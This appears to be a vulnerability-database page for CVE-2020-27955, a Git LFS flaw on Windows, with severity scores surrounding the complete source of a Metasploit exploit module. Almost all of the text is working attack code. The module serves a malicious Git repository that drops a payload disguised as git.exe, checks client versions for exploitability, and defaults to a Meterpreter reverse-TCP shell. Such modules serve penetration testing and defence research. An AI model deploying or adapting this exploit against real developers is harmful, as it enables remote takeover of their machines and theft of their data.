9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.94 High
EPSS
Percentile
99.1%
This Metasploit modules exploits a critical vulnerability in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, which allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attackerβs malicious repository using a vulnerable Git version control tool.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Git
include Msf::Exploit::Git::Lfs
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
'Description' => %q{
A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
into cloning the attackerβs malicious repository using a vulnerable Git version control tool
},
'Author' => [
'Dawid Golunski ', # Discovery
'space-r7', # Guidance, git mixins
'jheysel-r7' # Metasploit module
],
'References' => [
['CVE', '2020-27955'],
['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
],
'DisclosureDate' => '2020-11-04', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Git LFS <= 2.12',
{
'Platform' => ['win']
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK
]
}
)
)
register_options([
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
])
deregister_options('RHOSTS')
end
def setup_repo_structure
payload_fname = 'git.exe'
@hook_payload = generate_payload_exe
ptr_file = generate_pointer_file(@hook_payload)
git_payload_ptr = GitObject.build_blob_object(ptr_file)
git_attr_fname = '.gitattributes'
git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
git_attr_obj = GitObject.build_blob_object(git_attr_content)
register_dir_for_cleanup('.git')
register_files_for_cleanup(git_attr_fname)
# root of repository
tree_ent =
[
{
mode: '100644',
file_name: git_attr_fname,
sha1: git_attr_obj.sha1
},
{
mode: '100755',
file_name: payload_fname,
sha1: git_payload_ptr.sha1
}
]
tree_obj = GitObject.build_tree_object(tree_ent)
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
@git_objs =
[
commit, tree_obj, git_attr_obj, git_payload_ptr
]
@refs =
{
'HEAD' => 'refs/heads/master',
'refs/heads/master' => commit.sha1
}
end
#
# Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
# The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
# exploitable by this vulnerability.
#
# Returns +true+ if the target is suitable, else fail_with descriptive message
#
def target_suitable?(user_agent)
info = fingerprint_user_agent(user_agent)
if info[:ua_name] == Msf::HttpClients::UNKNOWN
fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
end
if info[:os_name] == 'Windows' &&
((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
(info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
true
else
fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
end
end
def on_request_uri(cli, req)
target_suitable?(req.headers['User-Agent'])
if req.uri.include?('git-upload-pack')
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
case request.type
when 'ref-discovery'
response = send_refs(request)
when 'upload-pack'
response = send_requested_objs(request)
else
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
end
else
response = handle_lfs_objects(req, @hook_payload, @git_addr)
unless response.code == 200
cli.send_response(response)
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
end
end
cli.send_response(response)
end
def create_git_uri
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
end
def primer
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
print_status("Git repository to clone: #{@git_addr}")
hardcoded_uripath(@git_repo_uri)
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
end
def handle_lfs_objects(req, hook_payload, git_addr)
git_hook_obj = GitObject.build_blob_object(hook_payload)
case req.method
when 'POST'
print_status('Sending payload data...')
response = get_batch_response(req, git_addr, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
when 'GET'
print_status('Sending LFS object...')
response = get_requested_obj_response(req, git_hook_obj)
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
else
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
end
response
end
def send_refs(req)
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
response = get_ref_discovery_response(req, @refs)
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
response
end
def send_requested_objs(req)
upload_pack_resp = get_upload_pack_response(req, @git_objs)
unless upload_pack_resp
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
end
upload_pack_resp
end
def exploit
setup_repo_structure
super
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.1 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.94 High
EPSS
Percentile
99.1%